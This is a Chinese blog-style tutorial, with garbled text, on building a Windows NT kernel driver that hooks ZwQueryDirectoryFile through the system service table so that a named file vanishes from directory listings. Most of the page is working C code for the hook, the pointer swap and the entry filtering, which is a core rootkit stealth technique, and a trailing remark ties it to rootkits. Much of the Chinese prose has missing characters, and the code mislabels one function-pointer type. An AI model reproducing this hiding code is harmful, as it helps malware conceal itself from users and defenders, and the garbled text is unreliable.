Hide Directory

<!-- /* Font Definitions */ @font-face {font-family:"MS 明朝"; panose-1:2 2 6 9 4 2 5 8 3 4; mso-font-alt:"MS Mincho"; mso-font-charset:128; mso-generic-font-family:roman; mso-font-pitch:fixed; mso-font-signature:-1610612033 1757936891 16 0 131231 0;} @font-face {font-family:SimSun; panose-1:2 1 6 0 3 1 1 1 1 1; mso-font-alt:宋体; mso-font-charset:134; mso-generic-font-family:auto; mso-font-pitch:variable; mso-font-signature:3 135135232 16 0 262145 0;} @font-face {font-family:Century; panose-1:2 4 6 3 5 7 5 2 3 3; mso-font-alt:"Times New Roman"; mso-font-charset:0; mso-generic-font-family:roman; mso-font-format:other; mso-font-pitch:variable; mso-font-signature:3 0 0 0 1 0;} @font-face {font-family:"/@MS 明朝"; panose-1:2 2 6 9 4 2 5 8 3 4; mso-font-charset:128; mso-generic-font-family:roman; mso-font-pitch:fixed; mso-font-signature:-1610612033 1757936891 16 0 131231 0;} @font-face {font-family:"/@SimSun"; panose-1:2 1 6 0 3 1 1 1 1 1; mso-font-charset:134; mso-generic-font-family:auto; mso-font-pitch:variable; mso-font-signature:3 135135232 16 0 262145 0;} /* Style Definitions */ p.MsoNormal, li.MsoNormal, div.MsoNormal {mso-style-parent:""; margin:0mm; margin-bottom:.0001pt; text-align:justify; text-justify:inter-ideograph; mso-pagination:none; font-size:10.5pt; mso-bidi-font-size:12.0pt; font-family:Century; mso-fareast-font-family:"MS 明朝"; mso-bidi-font-family:"Times New Roman"; mso-font-kerning:1.0pt;} a:link, span.MsoHyperlink {color:blue; text-decoration:underline; text-underline:single;} a:visited, span.MsoHyperlinkFollowed {color:purple; text-decoration:underline; text-underline:single;} /* Page Definitions */ @page {mso-page-border-surround-header:no; mso-page-border-surround-footer:no;} @page Section1 {size:595.3pt 841.9pt; margin:99.25pt 30.0mm 30.0mm 30.0mm; mso-header-margin:42.55pt; mso-footer-margin:49.6pt; mso-paper-source:0; layout-grid:18.0pt;} div.Section1 {page:Section1;} -->

驱动拦 NT API 实现隐 藏文件目  
 
目前 NT 下有很多 种隐 藏文件和目 的方法,其中最 简单 的一 文件和文件 加上系 属性和 藏属性,操作系 就会不在 示了,而且 找也找不到了,但是 这种 方法一点都不 底,没有可用性!下面我 来介 NT 驱动 程序来 NTAPI 实现彻 藏文件和目 的目的。 NT 下有一个文件 NTDLL.DLL ,大部分 NTAPI 都是在 中封装的。其中 实现查 找文件和目 API 接口是 ZwQueryDirectoryFile ,所以我 只要 API ,文件和目 就可以 完全 藏了!下面来一 实现 (准 工作:到 NTDDK 中找一个 WDM 驱动 程序模型,也就是最 简单 驱动 程序 了):  
   
  1.
FILE_INFORMATION_CLASS 的第 3 构: _FILE_BOTH_DIR_INFORMATION 构是 ZwQueryDirectoryFile 参数。  
   
 
typedef struct _FILE_BOTH_DIR_INFORMATION {  
  ULONG NextEntryOffset;  
  ULONG FileIndex;  
  LARGE_INTEGER CreationTime;  
  LARGE_INTEGER LastAccessTime;  
  LARGE_INTEGER LastWriteTime;  
  LARGE_INTEGER ChangeTime;  
  LARGE_INTEGER EndOfFile;  
  LARGE_INTEGER AllocationSize;  
  ULONG FileAttributes;  
  ULONG FileNameLength;  
  ULONG EaSize;  
  CCHAR ShortNameLength;  
  WCHAR ShortName[12];  
  WCHAR FileName[1];  
  } FILE_BOTH_DIR_INFORMATION, *PFILE_BOTH_DIR_INFORMATION;  
   
   
   
  2.
先申明 ZwQueryDirectoryFile ,然后定 ZwQueryDirectoryFile 的原型:  
   
  extern NTSYSAPI NTSTATUS NTAPI ZwQueryDirectoryFile(  
  IN HANDLE hFile,  
  IN HANDLE hEvent OPTIONAL,  
  IN PIO_APC_ROUTINE IoApcRoutine OPTIONAL,  
  IN PVOID IoApcContext OPTIONAL,  
  OUT PIO_STATUS_BLOCK pIoStatusBlock,  
  OUT PVOID FileInformationBuffer,  
  IN ULONG FileInformationBufferLength,  
  IN FILE_INFORMATION_CLASS FileInfoClass,  
  IN BOOLEAN bReturnOnlyOneEntry,  
  IN PUNICODE_STRING PathMask OPTIONAL,  
  IN BOOLEAN bRestartQuery);  
   
  //
ZwQueryDirectoryFile 的原型  
   
  typedef NTSTATUS (*REALZWQUERYDIRECTORYFILE)(IN HANDLE hFile,  
  IN HANDLE hEvent OPTIONAL,  
  IN PIO_APC_ROUTINE IoApcRoutine OPTIONAL,  
  IN PVOID IoApcContext OPTIONAL,  
  OUT PIO_STATUS_BLOCK pIoStatusBlock,  
  OUT PVOID FileInformationBuffer,  
  IN ULONG FileInformationBufferLength,  
  IN FILE_INFORMATION_CLASS FileInfoClass,  
  IN BOOLEAN bReturnOnlyOneEntry,  
  IN PUNICODE_STRING PathMask OPTIONAL,  
  IN BOOLEAN bRestartQuery);  
   
  //
一个原函数指  
  REALZWQUERYSYSTEMINFORMATION RealZwQuerySystemInformation;  
   
  3.
API 函数的原型:  
   
  NTSTATUS HookZwQueryDirectoryFile(  
  IN HANDLE hFile,  
  IN HANDLE hEvent OPTIONAL,  
  IN PIO_APC_ROUTINE IoApcRoutine OPTIONAL,  
  IN PVOID IoApcContext OPTIONAL,  
  OUT PIO_STATUS_BLOCK pIoStatusBlock,  
  OUT PVOID FileInformationBuffer,  
  IN ULONG FileInformationBufferLength,  
  IN FILE_INFORMATION_CLASS FileInfoClass,  
  IN BOOLEAN bReturnOnlyOneEntry,  
  IN PUNICODE_STRING PathMask OPTIONAL,  
  IN BOOLEAN bRestartQuery);  
   
  4.
DriverEntry 驱动 入口)函数中加入如下申明:  
   
  //
保存真正的 ZwQueryDirectoryFile 函数地址  
   
  RealZwQueryDirectoryFile=(REALZWQUERYDIRECTORYFILE)(SYSTEMSERVICE(ZwQueryDirectoryFile));  
   
  //
把自定 的替 函数指 指向真正的 ZwQueryDirectoryFile 函数  
   
  (REALZWQUERYDIRECTORYFILE)(SYSTEMSERVICE(ZwQueryDirectoryFile))=HookZwQueryDirectoryFile;  
   
  5.
DriverUnload 驱动 函数)函数中加入恢  
   
  //
原来的函数指  
   
  (REALZWQUERYDIRECTORYFILE)(SYSTEMSERVICE(ZwQueryDirectoryFile))=RealZwQueryDirectoryFile;  
   
  6.
在准 工作做好了,函数指 都已 经设 向了,剩下的是 实现这 个我 自定 的替 函数 HookZwQueryDirectoryFile ,代 如下:  
   
  NTSTATUS HookZwQueryDirectoryFile(  
  IN HANDLE hFile,  
  IN HANDLE hEvent OPTIONAL,  
  IN PIO_APC_ROUTINE IoApcRoutine OPTIONAL,  
  IN PVOID IoApcContext OPTIONAL,  
  OUT PIO_STATUS_BLOCK pIoStatusBlock,  
  OUT PVOID FileInformationBuffer,  
  IN ULONG FileInformationBufferLength,  
  IN FILE_INFORMATION_CLASS FileInfoClass,  
  IN BOOLEAN bReturnOnlyOneEntry,  
  IN PUNICODE_STRING PathMask OPTIONAL,  
  IN BOOLEAN bRestartQuery)  
  {  
  NTSTATUS rc;  
  ULONG CR0VALUE;  
   
  ANSI_STRING ansiFileName,ansiDirName,HideDirFile;  
  UNICODE_STRING uniFileName;  
   
  //
初始化要 过虑 的文件名 里是 debug.exe  
  RtlInitAnsiString(&HideDirFile,"DBGVIEW.EXE");  
   
  //
行真正的 ZwQueryDirectoryFile 函数  
  rc = ((REALZWQUERYDIRECTORYFILE)(RealZwQueryDirectoryFile))(  
  hFile,  
  hEvent,  
  IoApcRoutine,  
  IoApcContext,  
  pIoStatusBlock,  
  FileInformationBuffer,  
  FileInformationBufferLength,  
  FileInfoClass,  
  bReturnOnlyOneEntry,  
  PathMask,  
  bRestartQuery);  
  /*
如果 行成功(而且 FILE_INFORMATION_CLASS 值为 FileBothDirectoryInformation ,我 理, 过滤 */  
  if(NT_SUCCESS(rc)&& (FileInfoClass == FileBothDirectoryInformation))  
  {  
  PFILE_BOTH_DIR_INFORMATION pFileInfo;  
  PFILE_BOTH_DIR_INFORMATION pLastFileInfo;  
  BOOL bLastOne;  
  //
赋给 pFileInfo  
  pFileInfo = (PFILE_BOTH_DIR_INFORMATION)FileInformationBuffer;  
  pLastFileInfo = NULL;  
  //
环检查  
  do  
  {  
  bLastOne = !( pFileInfo->NextEntryOffset );  
  RtlInitUnicodeString(&uniFileName,pFileInfo->FileName);  
  RtlUnicodeStringToAnsiString(&ansiFileName,&uniFileName,TRUE);  
  RtlUnicodeStringToAnsiString(&ansiDirName,&uniFileName,TRUE);  
  RtlUpperString(&ansiFileName,&ansiDirName);  
  //
打印 果,用 debugview 可以 看打印  
  DbgPrint("ansiFileName :%s/n",ansiFileName.Buffer);  
  DbgPrint("HideDirFile :%s/n",HideDirFile.Buffer);  
   
  //
行比 ,如果找到了就 个文件或者目  
  if( RtlCompareMemory(ansiFileName.Buffer,HideDirFile.Buffer,HideDirFile.Length ) == HideDirFile.Length)  
  {  
  DbgPrint("This is HideDirFile!/n");  
  if(bLastOne)  
  {  
  if(pFileInfo == (PFILE_BOTH_DIR_INFORMATION)FileInformationBuffer )  
  {  
  rc = 0x80000006; //
藏文件或者目  
  }  
  else  
  {  
  pLastFileInfo->NextEntryOffset = 0;  
  }  
  break;  
  }  
  else //
往后移  
  {  
  int iPos = ((ULONG)pFileInfo) - (ULONG)FileInformationBuffer;  
  int iLeft = (DWORD)FileInformationBufferLength - iPos - pFileInfo->NextEntryOffset;  
  RtlCopyMemory( (PVOID)pFileInfo, (PVOID)( (char *)pFileInfo + pFileInfo->NextEntryOffset ), (DWORD)iLeft );  
  continue;  
  }  
  }  
  pLastFileInfo = pFileInfo;  
  pFileInfo = (PFILE_BOTH_DIR_INFORMATION)((char *)pFileInfo + pFileInfo->NextEntryOffset);  
   
  }while(!bLastOne);  
  RtlFreeAnsiString(&ansiDirName);  
  RtlFreeAnsiString(&ansiFileName);  
  }  
  return(rc);  
  }  
   
 
本代 开发 机器( WINXP+SP1+XPDDK )上 测试

http://topic.csdn.net/t/20050623/17/4102372.html

 

 

http://www.pudn.com/downloads122/sourcecode/windows/vxd/detail520913.html

rootkit
,用来 程, 是从系 层彻


拿来做坏事

  • 1
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值